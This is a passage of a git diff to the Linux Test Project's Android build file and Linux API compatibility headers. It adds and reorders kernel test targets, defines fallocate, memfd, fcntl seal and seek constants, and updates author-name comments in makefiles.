-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_tst_flush",
     stem: "tst_flush",
     defaults: ["ltp_test_defaults"],
@@ -13789,6 +13923,17 @@
 }
 
 cc_test {
+    name: "ltp_ns-icmpv4_sender",
+    stem: "ns-icmpv4_sender",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/network/stress/ns-tools/ns-common.c",
+        "testcases/network/stress/ns-tools/ns-icmpv4_sender.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_pwritev01_64",
     stem: "pwritev01_64",
     defaults: ["ltp_test_defaults"],
@@ -13847,19 +13992,6 @@
 }
 
 cc_test {
-    name: "ltp_tst_kvercmp2",
-    stem: "tst_kvercmp2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_fcntl23_64",
     stem: "fcntl23_64",
     defaults: ["ltp_test_defaults"],
@@ -13993,6 +14125,24 @@
 }
 
 cc_test {
+    name: "ltp_pselect03_64",
+    stem: "pselect03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/pselect",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_nfs_flock_dgen",
     stem: "nfs_flock_dgen",
     defaults: ["ltp_test_defaults"],
@@ -14042,19 +14192,6 @@
 }
 
 cc_test {
-    name: "ltp_tst_brkm",
-    stem: "tst_brkm",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_fcntl07_64",
     stem: "fcntl07_64",
     defaults: ["ltp_test_defaults"],
@@ -14074,12 +14211,12 @@
 }
 
 cc_test {
-    name: "ltp_ns-icmpv4_sender",
-    stem: "ns-icmpv4_sender",
+    name: "ltp_ns-udpsender",
+    stem: "ns-udpsender",
     defaults: ["ltp_test_defaults"],
     srcs: [
+        "testcases/network/stress/ns-tools/ns-udpsender.c",
         "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-icmpv4_sender.c",
     ],
     local_include_dirs: ["include/old"],
 }
@@ -14364,6 +14501,36 @@
 }
 
 cc_test {
+    name: "ltp_disktest",
+    stem: "disktest",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/io/disktest/Getopt.c",
+        "testcases/kernel/io/disktest/sfunc.c",
+        "testcases/kernel/io/disktest/dump.c",
+        "testcases/kernel/io/disktest/parse.c",
+        "testcases/kernel/io/disktest/stats.c",
+        "testcases/kernel/io/disktest/usage.c",
+        "testcases/kernel/io/disktest/threading.c",
+        "testcases/kernel/io/disktest/globals.c",
+        "testcases/kernel/io/disktest/io.c",
+        "testcases/kernel/io/disktest/childmain.c",
+        "testcases/kernel/io/disktest/main.c",
+        "testcases/kernel/io/disktest/timer.c",
+        "testcases/kernel/io/disktest/signals.c",
+    ],
+    cflags: [
+        "-DLINUX",
+        "-D_FILE_OFFSET_BITS=64",
+        "-D_LARGEFILE64_SOURCE",
+        "-D_GNU_SOURCE",
+        "-D_THREAD_SAFE",
+        "-D_LARGE_FILES",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_sendfile03_64",
     stem: "sendfile03_64",
     defaults: ["ltp_test_defaults"],
@@ -14592,25 +14759,6 @@
 }
 
 cc_test {
-    name: "ltp_fcntl20_64",
-    stem: "fcntl20_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
-    cflags: [
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_fcntl29_64",
     stem: "fcntl29_64",
     defaults: ["ltp_test_defaults"],
@@ -15039,12 +15187,27 @@
 }
 
 cc_test {
-    name: "ltp_sched_tc1",
-    stem: "sched_tc1",
+    name: "ltp_memfd_create01",
+    stem: "memfd_create01",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create01.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_tc0",
+    stem: "sched_tc0",
     defaults: ["ltp_test_defaults"],
     srcs: [
         "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc1.c",
+        "testcases/kernel/sched/sched_stress/sched_tc0.c",
     ],
     local_include_dirs: [
         "testcases/kernel/include",
@@ -15355,33 +15518,38 @@
 }
 
 cc_test {
-    name: "ltp_disktest",
-    stem: "disktest",
+    name: "ltp_move_pages12",
+    stem: "move_pages12",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/io/disktest/Getopt.c",
-        "testcases/kernel/io/disktest/sfunc.c",
-        "testcases/kernel/io/disktest/dump.c",
-        "testcases/kernel/io/disktest/parse.c",
-        "testcases/kernel/io/disktest/stats.c",
-        "testcases/kernel/io/disktest/usage.c",
-        "testcases/kernel/io/disktest/threading.c",
-        "testcases/kernel/io/disktest/globals.c",
-        "testcases/kernel/io/disktest/io.c",
-        "testcases/kernel/io/disktest/childmain.c",
-        "testcases/kernel/io/disktest/main.c",
-        "testcases/kernel/io/disktest/timer.c",
-        "testcases/kernel/io/disktest/signals.c",
+        "testcases/kernel/syscalls/move_pages/move_pages12.c",
+        "testcases/kernel/syscalls/move_pages/move_pages_support.c",
     ],
-    cflags: [
-        "-DLINUX",
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_LARGEFILE64_SOURCE",
-        "-D_GNU_SOURCE",
-        "-D_THREAD_SAFE",
-        "-D_LARGE_FILES",
+    cflags: ["-Wno-unused-function"],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
     ],
-    local_include_dirs: ["include/old"],
+    static_libs: [
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_sched_tc2",
+    stem: "sched_tc2",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc2.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -15574,6 +15742,25 @@
 }
 
 cc_test {
+    name: "ltp_fcntl20_64",
+    stem: "fcntl20_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_sched_tc4",
     stem: "sched_tc4",
     defaults: ["ltp_test_defaults"],
@@ -15641,6 +15828,21 @@
 }
 
 cc_test {
+    name: "ltp_sched_tc1",
+    stem: "sched_tc1",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched.c",
+        "testcases/kernel/sched/sched_stress/sched_tc1.c",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_fcntl28_64",
     stem: "fcntl28_64",
     defaults: ["ltp_test_defaults"],
@@ -15698,21 +15900,6 @@
 }
 
 cc_test {
-    name: "ltp_sched_tc0",
-    stem: "sched_tc0",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc0.c",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_sendfile02_64",
     stem: "sendfile02_64",
     defaults: ["ltp_test_defaults"],
@@ -15733,12 +15920,12 @@
 }
 
 cc_test {
-    name: "ltp_sched_tc2",
-    stem: "sched_tc2",
+    name: "ltp_memfd_create02",
+    stem: "memfd_create02",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc2.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
+        "testcases/kernel/syscalls/memfd_create/memfd_create02.c",
     ],
     local_include_dirs: [
         "testcases/kernel/include",
@@ -15951,17 +16138,6 @@
 }
 
 cc_test {
-    name: "ltp_ns-udpsender",
-    stem: "ns-udpsender",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-udpsender.c",
-        "testcases/network/stress/ns-tools/ns-common.c",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
     name: "ltp_fcntl21_64",
     stem: "fcntl21_64",
     defaults: ["ltp_test_defaults"],
@@ -16235,44 +16411,42 @@
         "include/old",
         "lib",
     ],
+    cflags: [
+        "-DLTPLIB",
+    ],
     srcs: [
-        "lib/pattern.c",
+        "lib/tst_safe_sysv_ipc.c",
+        "lib/tst_mkfs.c",
         "lib/tst_path_has_mnt_flags.c",
         "lib/tst_process_state.c",
         "lib/tst_fs_type.c",
-        "lib/string_to_tokens.c",
-        "lib/tst_mkfs.c",
-        "lib/tst_res.c",
         "lib/tst_sig.c",
         "lib/tst_net.c",
+        "lib/tst_ansi_color.c",
         "lib/safe_pthread.c",
         "lib/tst_timer.c",
-        "lib/file_lock.c",
-        "lib/open_flags.c",
         "lib/safe_file_ops.c",
         "lib/safe_stdio.c",
-        "lib/tst_parse_opts.c",
+        "lib/tst_pid.c",
         "lib/tst_device.c",
-        "lib/forker.c",
+        "lib/tst_safe_macros.c",
         "lib/tst_tmpdir.c",
         "lib/random_range.c",
         "lib/get_path.c",
         "lib/tst_virt.c",
         "lib/tst_checkpoint.c",
-        "lib/bytes_by_prefix.c",
         "lib/tst_kvercmp.c",
         "lib/self_exec.c",
-        "lib/dataascii.c",
         "lib/tst_run_cmd.c",
-        "lib/rmobj.c",
-        "lib/tst_pid.c",
+        "lib/tst_res.c",
         "lib/parse_opts.c",
         "lib/get_high_address.c",
         "lib/safe_macros.c",
+        "lib/tst_kernel.c",
         "lib/tst_test.c",
         "lib/tlibio.c",
         "lib/tst_dir_is_empty.c",
-        "lib/databin.c",
+        "lib/tst_parse_opts.c",
         "lib/tst_cpu.c",
         "lib/safe_net.c",
         "lib/tst_resource.c",
@@ -16281,7 +16455,6 @@
         "lib/tst_fs_has_free.c",
         "lib/tst_fill_file.c",
         "lib/cloner.c",
-        "lib/write_log.c",
-        "lib/datapid.c",
+        "lib/tst_sig_proc.c",
     ],
 }
diff --git a/include/Makefile b/include/Makefile
index 243fd8a..7588e66 100644
--- a/include/Makefile
+++ b/include/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
diff --git a/include/config.h.default b/include/config.h.default
index 7095b92..dc38e5c 100644
--- a/include/config.h.default
+++ b/include/config.h.default
@@ -18,8 +18,8 @@
 /* Define to 1 if you have the <asm/ldt.h> header file. */
 #undef HAVE_ASM_LDT_H
 
-/* Define to 1 if you have the <attr/xattr.h> header file. */
-#undef HAVE_ATTR_XATTR_H
+/* Define to 1 if you have the <sys/xattr.h> header file. */
+#undef HAVE_SYS_XATTR_H
 
 /* Define to 1 if you have the declaration of `CAP_BSET_DROP', and to 0 if you
    don't. */
diff --git a/testcases/kernel/syscalls/fallocate/fallocate.h b/include/lapi/fallocate.h
similarity index 72%
rename from testcases/kernel/syscalls/fallocate/fallocate.h
rename to include/lapi/fallocate.h
index 1900aa0..83a7986 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate.h
+++ b/include/lapi/fallocate.h
@@ -12,10 +12,6 @@
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  * GNU Library General Public License for more details.
  *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- *
  */
 
 #ifndef FALLOCATE_H
@@ -25,36 +21,44 @@
 #include <endian.h>
 #include "config.h"
 #include "lapi/abisize.h"
+#include "lapi/seek.h"
 #include "linux_syscall_numbers.h"
 
-#ifndef SEEK_HOLE
-#define SEEK_HOLE 4
-#endif
-
 #ifndef FALLOC_FL_KEEP_SIZE
-#define FALLOC_FL_KEEP_SIZE 0x01
+# define FALLOC_FL_KEEP_SIZE 0x01
 #endif
 
 #ifndef FALLOC_FL_PUNCH_HOLE
-#define FALLOC_FL_PUNCH_HOLE 0x02
+# define FALLOC_FL_PUNCH_HOLE 0x02
 #endif
 
 #ifndef FALLOC_FL_COLLAPSE_RANGE
-#define FALLOC_FL_COLLAPSE_RANGE 0x08
+# define FALLOC_FL_COLLAPSE_RANGE 0x08
 #endif
 
 #ifndef FALLOC_FL_ZERO_RANGE
-#define FALLOC_FL_ZERO_RANGE 0x10
+# define FALLOC_FL_ZERO_RANGE 0x10
+#endif
+
+#ifndef FALLOC_FL_INSERT_RANGE
+# define FALLOC_FL_INSERT_RANGE 0x20
 #endif
 
 #if !defined(HAVE_FALLOCATE)
+
+# ifdef __TEST_H__
+#  define TST_SYSCALL_WRAPPER ltp_syscall
+# else
+#  define TST_SYSCALL_WRAPPER tst_syscall
+# endif /* __TEST_H__ */
+
 static inline long fallocate(int fd, int mode, loff_t offset, loff_t len)
 {
 	/* Deal with 32bit ABIs that have 64bit syscalls. */
 # if LTP_USE_64_ABI
-	return ltp_syscall(__NR_fallocate, fd, mode, offset, len);
+	return TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode, offset, len);
 # else
-	return (long)ltp_syscall(__NR_fallocate, fd, mode,
+	return (long)TST_SYSCALL_WRAPPER(__NR_fallocate, fd, mode,
 				 __LONG_LONG_PAIR((off_t) (offset >> 32),
 						  (off_t) offset),
 				 __LONG_LONG_PAIR((off_t) (len >> 32),
diff --git a/include/lapi/fcntl.h b/include/lapi/fcntl.h
index ca61288..849439d 100644
--- a/include/lapi/fcntl.h
+++ b/include/lapi/fcntl.h
@@ -19,10 +19,21 @@
 #ifndef __LAPI_FCNTL_H__
 #define __LAPI_FCNTL_H__
 
+#include <fcntl.h>
+#include <sys/socket.h>
+
 #ifndef O_CLOEXEC
 # define O_CLOEXEC 02000000
 #endif
 
+#ifndef SOCK_CLOEXEC
+# define SOCK_CLOEXEC O_CLOEXEC
+#endif
+
+#ifndef SOCK_NONBLOCK
+# define SOCK_NONBLOCK O_NONBLOCK
+#endif
+
 #ifndef O_TMPFILE
 # define O_TMPFILE (020000000 | O_DIRECTORY)
 #endif
@@ -39,6 +50,31 @@
 # define F_GETPIPE_SZ 1032
 #endif
 
+/*
+ * Set/Get seals
+ */
+#ifndef F_ADD_SEALS
+# define F_ADD_SEALS     (1033)
+#endif
+
+#ifndef F_GET_SEALS
+# define F_GET_SEALS     (1034)
+#endif
+
+#ifndef F_SEAL_SEAL
+# define F_SEAL_SEAL     0x0001  /* prevent further seals from being set */
+#endif
+
+#ifndef F_SEAL_SHRINK
+# define F_SEAL_SHRINK   0x0002  /* prevent file from shrinking */
+#endif
+#ifndef F_SEAL_GROW
+# define F_SEAL_GROW     0x0004  /* prevent file from growing */
+#endif
+#ifndef F_SEAL_WRITE
+# define F_SEAL_WRITE    0x0008  /* prevent writes */
+#endif
+
 #ifndef F_OWNER_PGRP
 # define F_OWNER_PGRP 2
 #endif
diff --git a/include/lapi/memfd.h b/include/lapi/memfd.h
new file mode 100644
index 0000000..18ed40f
--- /dev/null
+++ b/include/lapi/memfd.h
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2017  Red Hat, Inc.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#ifndef LAPI_MEMFD_H
+#define LAPI_MEMFD_H
+
+/* flags for memfd_create(2) (unsigned int) */
+#ifndef MFD_CLOEXEC
+# define MFD_CLOEXEC             0x0001U
+#endif
+#ifndef MFD_ALLOW_SEALING
+# define MFD_ALLOW_SEALING       0x0002U
+#endif
+
+#endif
diff --git a/include/lapi/mmap.h b/include/lapi/mmap.h
index fd136f6..10065a4 100644
--- a/include/lapi/mmap.h
+++ b/include/lapi/mmap.h
@@ -67,4 +67,8 @@
 # define MADV_DODUMP   17
 #endif
 
+#ifndef MADV_FREE
+# define MADV_FREE	8
+#endif
+
 #endif /* LAPI_MMAP_H__ */
diff --git a/include/lapi/quotactl.h b/include/lapi/quotactl.h
new file mode 100644
index 0000000..729472f
--- /dev/null
+++ b/include/lapi/quotactl.h
@@ -0,0 +1,26 @@
+/*
+ * Copyright (c) 2017 Fujitsu Ltd.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef LAPI_QUOTACTL_H__
+# define LAPI_QUOTACTL_H__
+
+# ifndef Q_XGETNEXTQUOTA
+#  define Q_XGETNEXTQUOTA XQM_CMD(9)
+# endif
+
+#endif /* LAPI_QUOTACTL_H__ */
diff --git a/include/lapi/rt_sigaction.h b/include/lapi/rt_sigaction.h
index e0e9399..18236db 100644
--- a/include/lapi/rt_sigaction.h
+++ b/include/lapi/rt_sigaction.h
@@ -22,7 +22,7 @@
  * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  *
  * Author: Liu Bo <liubo2009@cn.fujitsu.com>
- * Author: Garrett Cooper <yanegomi@gmail.com>
+ * Author: Ngie Cooper <yaneurabeya@gmail.com>
  *
  */
 
@@ -33,12 +33,20 @@
 
 #define INVAL_SA_PTR ((void *)-1)
 
+#if defined(__mips__)
+struct kernel_sigaction {
+	unsigned int sa_flags;
+	__sighandler_t k_sa_handler;
+	sigset_t sa_mask;
+};
+#else
 struct kernel_sigaction {
 	__sighandler_t k_sa_handler;
 	unsigned long sa_flags;
 	void (*sa_restorer) (void);
 	sigset_t sa_mask;
 };
+#endif
 
 /* This macro marks if (struct sigaction) has .sa_restorer member */
 #if !defined(__ia64__) && !defined(__alpha__) && !defined(__hppa__) && !defined(__mips__)
@@ -190,8 +198,9 @@
 		kact.k_sa_handler = act->sa_handler;
 		memcpy(&kact.sa_mask, &act->sa_mask, sizeof(sigset_t));
 		kact.sa_flags = act->sa_flags;
+#ifndef __mips__
 		kact.sa_restorer = NULL;
-
+#endif
 		kact_p = &kact;
 	}
 
diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 189c2de..a0efbb0 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -56,4 +56,20 @@
 	return syscall(__NR_sched_getattr, pid, attr, size, flags);
 }
 
+#ifndef CLONE_VM
+#define CLONE_VM   0x00000100
+#endif
+
+#ifndef CLONE_FS
+#define CLONE_FS   0x00000200
+#endif
+
+#ifndef CLONE_SYSVSEM
+#define CLONE_SYSVSEM   0x00040000
+#endif
+
+#ifndef CLONE_IO
+#define CLONE_IO        0x80000000
+#endif
+
 #endif /* __SCHED_H__ */
diff --git a/include/lapi/seek.h b/include/lapi/seek.h
new file mode 100644
index 0000000..023f1fb
--- /dev/null
+++ b/include/lapi/seek.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef SEEK_H__
+#define SEEK_H__
+
+#include <unistd.h>
+
+#ifndef SEEK_DATA
+# define SEEK_DATA 3
+#endif
+
+#ifndef SEEK_HOLE
+# define SEEK_HOLE 4
+#endif
+
+#endif /* SEEK_H__ */
diff --git a/include/mk/automake.mk b/include/mk/automake.mk
index 309947c..219d015 100644
--- a/include/mk/automake.mk
+++ b/include/mk/automake.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # Override these variables to use non-system available tools.
diff --git a/include/mk/config.mk.default b/include/mk/config.mk.default
index c20f901..dff3479 100644
--- a/include/mk/config.mk.default
+++ b/include/mk/config.mk.default
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # See this page for more info about LEX*:
diff --git a/include/mk/config.mk.in b/include/mk/config.mk.in
index 04b34e2..dde2a9e 100644
--- a/include/mk/config.mk.in
+++ b/include/mk/config.mk.in
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 # See this page for more info about LEX*:
diff --git a/include/mk/env_post.mk b/include/mk/env_post.mk
index a2db2c6..4c57fff 100644
--- a/include/mk/env_post.mk
+++ b/include/mk/env_post.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 ENV_PRE_LOADED			?= $(error You must load env_pre.mk before including this file)
@@ -41,6 +41,15 @@
 CPPFLAGS			+= -D__UCLIBC__ -DUCLINUX
 endif
 
+ifeq ($(ANDROID),1)
+# There are many undeclared functions, it's best not to accidentally overlook
+# them.
+CFLAGS				+= -Werror-implicit-function-declaration
+
+LDFLAGS				+= -L$(top_builddir)/lib/android_libpthread
+LDFLAGS				+= -L$(top_builddir)/lib/android_librt
+endif
+
 MAKE_TARGETS			?= $(notdir $(patsubst %.c,%,$(wildcard $(abs_srcdir)/*.c)))
 
 MAKE_TARGETS			:= $(filter-out $(FILTER_OUT_MAKE_TARGETS),$(MAKE_TARGETS))
diff --git a/include/mk/env_pre.mk b/include/mk/env_pre.mk
index b8d47d4..c4a1f47 100644
--- a/include/mk/env_pre.mk
+++ b/include/mk/env_pre.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 # This Makefile must be included first. NO IF'S, AND'S, OR BUT'S.
 #
diff --git a/include/mk/features.mk.default b/include/mk/features.mk.default
index 22a0f0e..94b8b0c 100644
--- a/include/mk/features.mk.default
+++ b/include/mk/features.mk.default
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2010
+# Ngie Cooper, October 2010
 #
 
 # Tools enable knobs
diff --git a/include/mk/features.mk.in b/include/mk/features.mk.in
index 8030be7..7536b6f 100644
--- a/include/mk/features.mk.in
+++ b/include/mk/features.mk.in
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2010
+# Ngie Cooper, October 2010
 #
 
 # Tools enable knobs
diff --git a/include/mk/functions.mk b/include/mk/functions.mk
index 9c9bca2..6f67b5a 100644
--- a/include/mk/functions.mk
+++ b/include/mk/functions.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 SQUOTE			:= '
diff --git a/include/mk/generic_leaf_target.inc b/include/mk/generic_leaf_target.inc
index a88586f..dd54d05 100644
--- a/include/mk/generic_leaf_target.inc
+++ b/include/mk/generic_leaf_target.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 #
diff --git a/include/mk/generic_leaf_target.mk b/include/mk/generic_leaf_target.mk
index cb6db5e..908d0b0 100644
--- a/include/mk/generic_leaf_target.mk
+++ b/include/mk/generic_leaf_target.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 include $(top_srcdir)/include/mk/env_post.mk
diff --git a/include/mk/generic_trunk_target.inc b/include/mk/generic_trunk_target.inc
index c49e3c6..cc255c6 100644
--- a/include/mk/generic_trunk_target.inc
+++ b/include/mk/generic_trunk_target.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 #
diff --git a/include/mk/generic_trunk_target.mk b/include/mk/generic_trunk_target.mk
index f480ef6..576b32d 100644
--- a/include/mk/generic_trunk_target.mk
+++ b/include/mk/generic_trunk_target.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 include $(top_srcdir)/include/mk/env_post.mk
diff --git a/include/mk/gitignore.mk b/include/mk/gitignore.mk
index 984b6e8..475206d 100644
--- a/include/mk/gitignore.mk
+++ b/include/mk/gitignore.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2011
+# Ngie Cooper, January 2011
 #
 
 CLEAN_TARGETS+=		gitignore_clean
diff --git a/include/mk/lib.mk b/include/mk/lib.mk
index 456db24..36e1ba1 100644
--- a/include/mk/lib.mk
+++ b/include/mk/lib.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 # Copyright (C) Cyril Hrubis <chrubis@suse.cz> 2012
 #
diff --git a/include/mk/man.mk b/include/mk/man.mk
index f0b4525..c94af61 100644
--- a/include/mk/man.mk
+++ b/include/mk/man.mk
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
